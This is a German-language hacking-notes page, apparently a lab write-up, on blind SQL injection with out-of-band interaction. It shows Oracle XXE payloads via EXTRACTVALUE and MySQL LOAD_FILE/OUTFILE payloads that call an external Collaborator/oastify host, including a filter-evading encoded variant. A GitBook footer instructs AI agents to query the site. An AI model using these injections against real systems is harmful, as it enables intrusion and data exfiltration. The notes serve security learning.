> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# Blind SQL Injection mit Out-of-Band-Interaktion

### Blind SQL-Injection mit Out-of-Band-Interaktion

**Kurzer Kontext:** der Wert von `TrackingId` Cookie (oder anderer Parameter) wird in eine asynchrone SQL-Abfrage injiziert. Die HTTP-Antwort verrät nichts, aber es ist möglich, eine externe Interaktion (DNS/HTTP) zu einem Burp Collaborator/OAST-Dienst auszulösen, was es ermöglicht, die Ausführung einer Payload zu exfiltrieren oder zu bestätigen.

<figure><img src="/files/6c4ea132c62ffed76610c04a575c75b65c5fc198" alt=""><figcaption></figcaption></figure>

### Techniken und Vektoren

#### Oracle — XML External Entity (XXE) über `EXTRACTVALUE` / `xmltype`

* Prinzip: Ein XML-Dokument erstellen, das eine externe Entität enthält, die auf Ihre Collaborator-Subdomain verweist. Der Aufruf von `EXTRACTVALUE(xmltype(...), '/l')` wertet die DTD aus und verursacht die ausgehende HTTP/DNS-Anfrage an die kontrollierte Domain:

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* Hinweise: Einige Zeichen müssen je nach Kontext kodiert/escaped werden (Anführungszeichen, `%` in DTD usw.). In einigen Fällen Teile der Payload URL-kodieren.

#### MySQL — Netzwerkdateien über `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` kann in Umgebungen, die Netzwerkzugriff auf den Dateiserver erlauben oder UNC-Pfade auflösen, eine ausgehende SMB/DNS-Anfrage auslösen.
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` schreibt eine Datei auf eine Netzwerkfreigabe und verursacht auf der Collaborator-Seite oft eine beobachtbare Netzwerkinteraktion.
* Hinweis: Diese Techniken hängen stark von der Konfiguration ab (DB-Konto-Berechtigungen, Serveroptionen, ausgehender Netzwerkzugriff).

#### Praktische Hinweise

* Für Burp Collaborator / OAST verwenden Sie die bereitgestellte Subdomain (z. B. `abcd.oastify.com`) in der URL/im Pfad der Entität oder des UNC-Pfads.
* Einige Server kürzen/filtern die Payloads: testen Sie verschiedene Variationen bei der Kodierung (URL-kodieren, `%` Maskierung → `%25`, Kommentarvarianten usw.).
* Wenn die Collaborator-Anfrage eintrifft, haben Sie den Beweis für OOB-Ausführung (DNS/HTTP/SMB), was die Schwachstelle bestätigt.

#### Beispiel — Variante mit Kodierung (Hinweis: Sie haben bereits getestet und die Anfrage erhalten)

* Kodiertes Beispiel (Sie haben es bereits präsentiert):

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` Kodierung → `%25` und `;` → `%3b` um bestimmte Filter/Parsingvorgänge zu umgehen.

<figure><img src="/files/498d77bcb75bce4a4b2cb3d358ffc3a3ba198b33" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
